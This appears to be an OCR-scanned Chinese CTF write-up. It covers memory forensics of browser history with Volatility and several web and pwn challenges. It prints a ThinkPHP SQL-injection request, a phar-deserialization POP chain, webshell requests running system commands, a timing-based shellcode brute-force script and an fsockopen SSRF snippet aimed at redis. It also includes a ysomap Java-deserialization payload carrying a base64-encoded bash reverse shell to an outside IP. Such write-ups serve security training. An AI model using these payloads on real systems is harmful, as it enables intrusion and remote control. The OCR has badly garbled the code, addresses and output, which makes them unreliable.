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./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist

i L 0

(B4 AR 2R v AT R B B R BRA D BE 25 O BB, Bn: IELHTTP)

./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist -o ©x8f484880

Volatility
Virtual

0x8fuUe59c8
0x913c19c8
©x913d29c8
0x95d3b9c8
Ox95d9a6us8
0x95dedBO8
0x968b21d8
Ox9a7u43530
Oxa56bb9c8
Ox8bueceO8
Ox8bulcees8
Ox8buy59c8
©x8d2829c8
Ox8fu8us8se

®

http://www.360doc.com/content/14/0216/23/13813789 353089973.shtml
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/root/CTF/Browser.raw

Foundation
Physical

Oxu619f9c8
0x29fc79c8
©x2a6f79c8
®x23b319c8
Ox239c26U8
Ox21c2e008
8x7b6511d8
Ox51794536
Ox65a329c8
Ox2cuubees
Ox2cu9ab0e8
Ox2cU4u459c8
©x212U4609c8
Oxu7501886

Volatility Framework 2.6

\??\C:\Users\HP\AppData\Local\Microsoft\Windows\UsrClass.dat

hivelist

\Device\HarddiskvVolumel\Boot\BCD
\SystemRoot\System32\Config\SOFTWARE
\??\C:\Windows\ServiceProfiles\NetworkService\NTUSER. DAT
\SystemRoot\System32\Config\SECURITY
\SystemRoot\System32\Config\SAM

\?7\C:\System Volume Information\Syscache.hve
\SystemRoot\System32\Config\DEFAULT
\Device\HarddiskVolumel\360SANDBOX\360SandBox.sav

[no name]
\REGISTRY\MACHINE\SYSTEM
\REGISTRY\MACHINE\HARDWARE

\??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT

\7?\C:\Users\HP\ntuser.dat

Jusr/local/volatility
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@="\"C:\\Program Files\\Internet Explorer‘\\iexplore.exe\” Y %1\"”
[HEEY CURRENT USER\Software\Microsoft\Windows\Shell\Associations
\UrlAssociations\http\UserChoice]

“Progid”="WebMind”
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H(F) $=8(E

BHEE(() WEIEA) EBH(H)

FEH\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

v UrlAssociations

armodelviewing
bingmaps
bingweather
calculator

callto
com.microsoft.3d
feedback-hub
ftp
hpprintercontrol
hp-smart
hp-ucde

=0 ESjic)
ab) (BRiA) REG_SZ
ab/Hash REG_SZ
ab/Progld REG_SZ

=
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MSEdgeHTM
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“Software\Microsoftiwindows\Shell\Associations\UrlAssociations\http\Userchoice’
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Jolatility Foundation Vi
egend: (S) = Stable (v) = volatile

: (S) MSEdgeHTM

\Device\HarddiskVolumel\Program Files\Microsoft\Edge\Application\ms .exe
\Device\HarddiskVolumel\Program Files\Microsoft\Edge\Application\92.0.9082.78\ms _200_percent. pak
\Device\HarddiskVolumel\Program Files\Microsoft\Edge\Temp\source5366_21392083913\92.08.902.78\ms
\Device\Harddiskvolumel\Program Files\Microsoft\Edge\Application\ms exe
\Device\HarddiskVolumel\Program Files\Microsoft\Edge\Application\92.0.902.78\ns _1e0_percent.pak
\Device\HarddiskVolumel\Program Files\Microsoft\Edge\Application\92.6.902.78\ns _1ee_percent.pak
\Device\HarddiskVolumel\Program Files\Microsoft\Edge\Application\92.0.982.78\ns _200_percent.pak
\Device\HarddiskVolumel\Program Files\Microsoft\Edge\Application\92.6.962.78\ms _2008_percent.pak

hx068600087dabe938
x0080000087daecces
x00000080087dba7038
x0000000087dbe2968
60008007ddfu788

-

hx000000007e960eU8

WA © 92.0.902.78

IR U R AR Edge AV EFEEm AT LAIKEI—H 0 HistorygISQLite format 3a9344, #EFRT
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Storage
Sync Data
VideoDecodeStats —
Bookmarks =
Cookies
Cookies-journal
& Edge Profile.ico
Favicons <P
Favicons-journal

heavy ad_intervention_opt_out.db

=1
2

heavy ad_intervention_opt_out.db-journal
History

History Provider Cache

History-journal

load_statistics.db

load_statistics.db-shm

load_statistics.db-wal
LOCK

LOG

LOG.old

I~ Mists
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Login Data-journal

Media History

Media History-journal

Network Action Predictor
Network Action Predictor-journal
Network Persistent State

Preferences

PreferredApps

Prefetch\AgGLlFgApp .db
\HP\ AppData\Local crosoft\Wind
s\HP\AppData\Local\Microsoft\Wind
ystem32\config\systemprofile
\Local\Microsoft\Edge

\Devi

RW-rw- \Device\HarddiskVolumel\Users\HP\AppData\Local\Microsoft\Win
.db
db
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./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 dumpfiles -Q
0x000000007da2abfe -D ./

pData\Local\Micros
er Data\Default\

RW-rw- \Device\HarddiskVolumel\Users\HP\AppData\Local ogle\Chrome\User Data\Default\ -journal
Ru- \Device\HarddiskVolumel\Windows\Temp' \ .IES5\index.dat
RW-rw- \Device\HarddiskVolumel\Users\HP\AppData\Local\Google\Chrome\User Dat

.IES\index.dat




/root/CTF/Browser.raw filescan

Volatility Foundation Veolatility Framework 2.6

0x0000080807d61f1c8 RW---- \Device\HarddiskVolumel\Windows\Prefetch\AgGlFgApp .db

0x000000007d61f2c8 RW-rw- \Device\HarddiskVolumel\Users\HP\AppData\Local\Microsoft\Windows\ .IE5\index.dat
0x000000007d6T7aaad RW-rw- \Device\HarddiskVolumel\Users\HP\AppData\Local\Microsoft\Windows\ .IE5\index.dat
0x000000007d98d038 R--rwd \Device\HarddiskVolumel\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows)\
0x0000000087da2abfe RW-rw- \Device\HarddiskVolumel\Users\HP\AppData\Local\Microsoft\Edge\User Data\Default)
Ox000000007ddudues RW-rw- \Device\HarddiskVolumel\Users\HP\AppData\Local\Microsoft\Windows\ \
0x000000007e969280 RW-rw- \Device\HarddiskVolumel\Users\HP\AppData\Local\Microsoft\Edge\User Data\Default)
0x000000007ec5f0cH RW-rw- \Device\HarddiskVolumel\Users\HP\AppData\Local\Google\Chrome\User Data\Default\
0x000000B0T7F8F3380 RW-rw- \Device\HarddiskVolumel\Windows\Temp\ \ .IE5\index.dat
0x000000007f96ac38 RW-rw- \Device\HarddiskVolumel\Users\HP\AppData\Local\Google\Chrome\User Data\Default\
Ox000000007f985Uf0 RW-rw- \Device\Harddiskvolumel\Users\HP\AppData\Local\Microsoft\Windows\ \
0x000000007fd1e978 RW---- \Device\HarddiskVolumel\Windows\Prefetch\AgGlGlobal .db

Ox000000007fd7Uels RW---- \Device\HarddiskVolumel\Windows\Prefetch\AgGlFault .db

w
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.IE5\MSHiste1202
-journal
-journal

.IE5\index.dat
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e /usr/local/volatility
/root/CTF/Browser.raw

olatility Foundation Veolatility Framework 2.6

ataSectionObject ©x7da2abfe None \Device\HarddiskVolumel\Users\HP\AppData\Local\Microsoft\Edge\User Data\Default\History

SharedCacheMap 6x7da2abfe None \Device\HarddiskVolumel\Users\HP\AppData\Local\Microsoft\Edge\User Data\Default\History

dumpfiles 0x00000008087da2abfe i

® f/usr/local/volatility
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26 https://www.hao123 BSifE R

0:74101941328324

T8 T RF Anavicat
__'_” : id url title visit_count typed_count last_visit_time hidden
£ main "
- bm https://support.micr 0 0:74100720000000 1
M cookies 3 https://www.baidu.c BE—T, {FEALE 2 1:74101863661551 0
£ meta 4 https://support.micr 0 0:74100994000000 1
= aEm 5 https://www.msn.cn, 0 0:74100702000000 1
sz 362) 6 https://www.microsc & Microsoft Edge 1 0'74100762000000 0
gress 7 http://www.baidu.cc 1 0:74100730000000 0
5 =8 8 https://hao.360.com 0 0:74100720000000 1
B &5 9 file:///C:/Users/HP/D 1 0:74101614000000
222 10 http://www.baidu.cc 0 0:74100716000000
= main 11 https://go.microsoft 0 0:74100994000000
vA= 12 https://www.baidu.c edge_SEig= 1 0!74100730000000
7 content_annotatio 13 https://support.micr 0 0:74100994000000
] context_annotatiol 14 https://support.micr HXZEHEFHT Micrc 1 0'74101850532399
5 downloads 15 https://go.microsoft Microsoft Edge 1 0:74101851576288
= downloads _slices 16 https://microsofted¢ Microsoft Edge 1 0!74101851576288
f downloads_url_ch: 17 https://microsoftedc Microsoft Edge 1 0:74101851576288
£ keyword_search_te 18 https://www.baidu.c test BEIZE 1 0:74101866992175
£ meta 19 http://www.bilibili.cc EEDRREEIR ( °- *)>0O - 1 0:74101915425637
: segment_usage 20 https://www.bilibili.c BEIBEER ( °- *)D0 - 1 1:74101915425637
= segments 21 https://www.bilibili.c S MEEEE OL 1 0:74101920204541
S YRR AL yTie Ko 22 https://www.bilibili.c [#2/0C/EEEIFHEN 1 0:74101924804740
5 urls 23 https://www.bilibili.c (ZBiiE: 1BZ) 124 1 0:74101930491282
5 L o 24 http://www.hao123.chao123_FRINEER 1 0:74101939104815
_'mé‘:"ts 25 https://www.hao123 hao123_HRIMXEH 1 1:74101939104815
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https://weibo.com/login.php
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MSEdgeHTM_92.0.902.78 _https://weibo.com/login.php
B 3flag



from pwn import

elf=ELF( )
context.binary

context.arch

def pwn(p, idx, c):

shellcode

shellcode "mov rdi, rax; xor eax, eax; push ©x50; pop rdx; push 0x50;

pop rsij;add rsi,rbx; syscall;"

asm(shellcode)
p.recvuntil(
p.send(shellcode.ljust(0x40-6,

(32, 127):

remote( ,25178)

time.time()

p.recv(timeout=2)

time.time()
p.close()
if end-start ilo58
var_list.append(c)
.join([ (i) for i in var_list]))

.join([ (i) for i in var_list]))

1

.join([ (i) for i in var_list]))
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[11:47:24]
[11:47:24]
[11:47:24]
[11:47:24]
[11:47:27]

POST /public/ HTTP/1.1
Host: 8.134.37.86:26846

/vendor/composer/autoload_classmap.php
/vendor/composer/autoload_namespaces.php
/vendor/composer/autoload_static.php
/vendor/composer/installed. json

/WWW.Z1p

CSDN @EDI%Z 2

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0)

Gecko/20100101 Firefox/92.0
Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest
Content-Length: 100

Origin: http://8.134.37.86:26846
Connection: close

Referer: http://8.134.37.86:26846/public/index.php
Cookie: PHPSESSID=71a556p4v160a8jlnhcholthld
username[@]=not like&username[1][0]=%%&username[1][1]=233&username[2]=)

union select 1,1

EANEXHNEEG
POP%

<?php

namespace think {
abstract class Model
{

protected $append;
protected $error;
public $parent;

bj

s

namespace think\model {
think\db\Query;
think\Model;
think\model\relation\HasOne;
think\console\Output;

abstract class Relation

{

protected $query;

protected $selfRelation;

protected $parent;

protected $foreignKey;

protected $localKey;

b

class Pivot extends Model

i

public function _ construct()

{




$this->append [
$this->error = new HasOne();
$this->parent = new Output();

namespace think\session\driver {
use think\cache\driver\File;

class Memcached

{
protected $handler;

public function _ construct()

{
$this->handler = new File();

options [
3600,
false,

tag

namespace think\db {
use think\console\Output;

public function _ construct()

{
$this->model = new Output();

namespace think\console {
use think\session\driver\Memcached;

)

public function _ construct()

i

$this->styles [ 1;
$this->handle = new Memcached();
)i




}

namespace think\model\relation {

use think\Model\Relation;

use think\db\Query;

use think\console\Output;

abstract class OneToOne extends Relation
{

protected $bindAttr;

)i

class HasOne extends OneToOne

{

public function _ construct()

selfRelation 0;

query new Output();

bindAttr [ 5

foreignKey

new \stdClass();
mb ;

$this->parent = $o;
$this->localKey

namespace think\process\pipes {
use think\model\Pivot;

class Windows

{

private $files;

public function __ construct()

{
$this->files [new Pivot()];

namespace {
use think\process\pipes\Windows;

$phar new Phar( );
$phar->startBuffering();
$phar->setStub(

$object new Windows();
$phar->setMetadata($object);
$phar->addFromString(

stopBuffering();

)

L 4&pharszc i
¥ Flistpici#g H fit & phar 7 514k

http://8.134.37.86:24954/public/?
s=admin/index/listpic&dir=phar:///var/www/html/public/static/img/person.jpg




H Ashellj5 8 flag

1 posT fp\lbll:p’upluads/n php3b58a9545013e88c7186db1 1bb158e44 . php HTTR/1.1
2 Host: 8.134.37.86:24954
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
4 Recept: text/html,application/xhtml+xml, npplicatianl)ml q=0.9, image/webp, */*;q=0.8

5 Accept-Language: zh-CN,zh;g=0.8, = .3,en;q=0.2

© hccept-Encoding: gzip, deflate
7
8
9
0
1

a

Connection: close
Cookie: password=; PHEPSESSID=7la556pdv160a8jlnhcholthld
Upgrade-Insecure-Requests: 1
Cache-Contro. max-age=0
Content-Type: application/x-www-form-urlencoded
24

Target: http//8.134.37.86:2495¢

Response

Somunmewn~

retty

Raw Render \n Actions v

HTTP/1.1 200 OK

Date: Thu, 23 Sep 2021 ue zs 01 cur
Server: Apache/2.4.7 (Ubuntu)
Accept-Encoding
Content-Length: 181

Connection:
Content-Type: text/html; charset=UTF-8

0664614600 06" GLGGO00 G066 66_60_6U06" 60600 -6

11 GOVEGHEH6H 00 MhnnxVH0HHLbH20676.662 (n6u6 | 6vE (61666 660>

2 Content-Langth:
13
14 coc=systen("/readflag”); CSDN @EDI
Request Response
Pretty \n  Actions v Raw Render \n  Actions v
1 POST /publlc/uplnadslﬂ php3b58a9545013e88c7186dbl1bbl58c44.php HTTP/1.1 1 HPTP/1.1 200 OK
2 Host: 8.134.37.86:2495 2 Date: Thu, 23 Sep 2021 06:30:14 GMT
3 User-Agent: Mozilla/5. n (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0 3 Server: Apache/2.4.7 (Ubuntu)
4 Accept: text/html,application/xhtml+xml,application/xml; +9,image/webp, */*;q=0.8 4 Vary: Accept-Encoding
5 Accept-Language: zh-cn,zh;q-o.s,zh-'rw;q-n.?,zh-HK;q-o.s.en-us q=0.3,en;g=0.2 5 Content-Length: 306
6 Accept-Encoding: gzip, deflate 6 Connection: close
7 Cnnnaction: close 7 Content-Type: text/html; charset=UTF-8
8 Cookie: password=; PHPSESSID—TI&55594V160&31lnhchnlthld :
9 Upgrade-Insecure-Requests: o GBBMabnaH-00' 666060060 H666 06_66_0O06 G006 10" 06E66E HABapp
10 Cache-Control: max-age=0 10 bin
11 Content-Type: application/x-www-form-urlencoded 11 boot
12 Content-Length: 19 12 create_mysql_users.sh
13 13 dev
14 cce=system("ls /"); 14 ete
15 flag
16 home
17 1lib
18 1ib64
19 media
20 mnt
21 opt
22 proc
23 readflag
24 root
25 run
26 run.sh
27 sbin
.28 srv
129 start-apache2.sh
30 start-mysgld.sh
31 sys
32 tmp
33 usr
34 var
35 GEOBELHLLEOBIEENN XH6B601 6026676.002 (nbul | 6vE(B{i0661606>>
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use exploit LDAPLocalChainListener

use payload CommonsCollections8

use bullet TransformerBullet

1port 9001

version 3

args bash -c
{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8XMDEUMzIuMjAxLjQOLzk50TkgMD4mMQ==} | {baseb4, -
d}|{bash,-i}

run

ysomap E #:H L1 fpayload
% 31| iRk 55 28 _E#E B shell

README .md
RELEASE-NOTES
RUNNING. txt
b1in

conf

include

11b

logs
native-jni-lib
temp

webapps

work
bash-4.4# 1s /
1s /

bin

dev

etc

flag

flag.sh

home

1ib

media

mnt

bash-4.4# cat /flag

cat— G
flag{HOxDuXPBgW2bQyZUv46cVnd8 iNalrIAq}
bhash.A A# .a"F'l.:l.': <h

/flag.sh '

bash-4.4# |}

easy_eval

RFFHIL



_construct($code)

code $code;

__construct($code)

$this->a new a($code);
)i

function _ destruct(){
echo $this->a->a();

)i

b
$c new b(

echo serialize($c);

redisfisoy fE LAERImpEF T
Ffsockopenk i2ssrf ¥ redis

<?php

function Getfile($host, $port, $1link){

$fp fsockopen($host, intval($port), $errno, $errstr, 30);
if(!$fp){

echo "$errstr $errno

$1ink";

fwrite($fp, $out);

$content ;
while(!feof($fp)){

$contents fgets($fp, 1024);
s

fclose($fp);

return $contents;

var_dump(Getfile( »$poc));




one: No such file or directory
flag_bffc-d3ffcfdboeef
flag{mQngEO”d458HZfUIZlquRngvaByTvL
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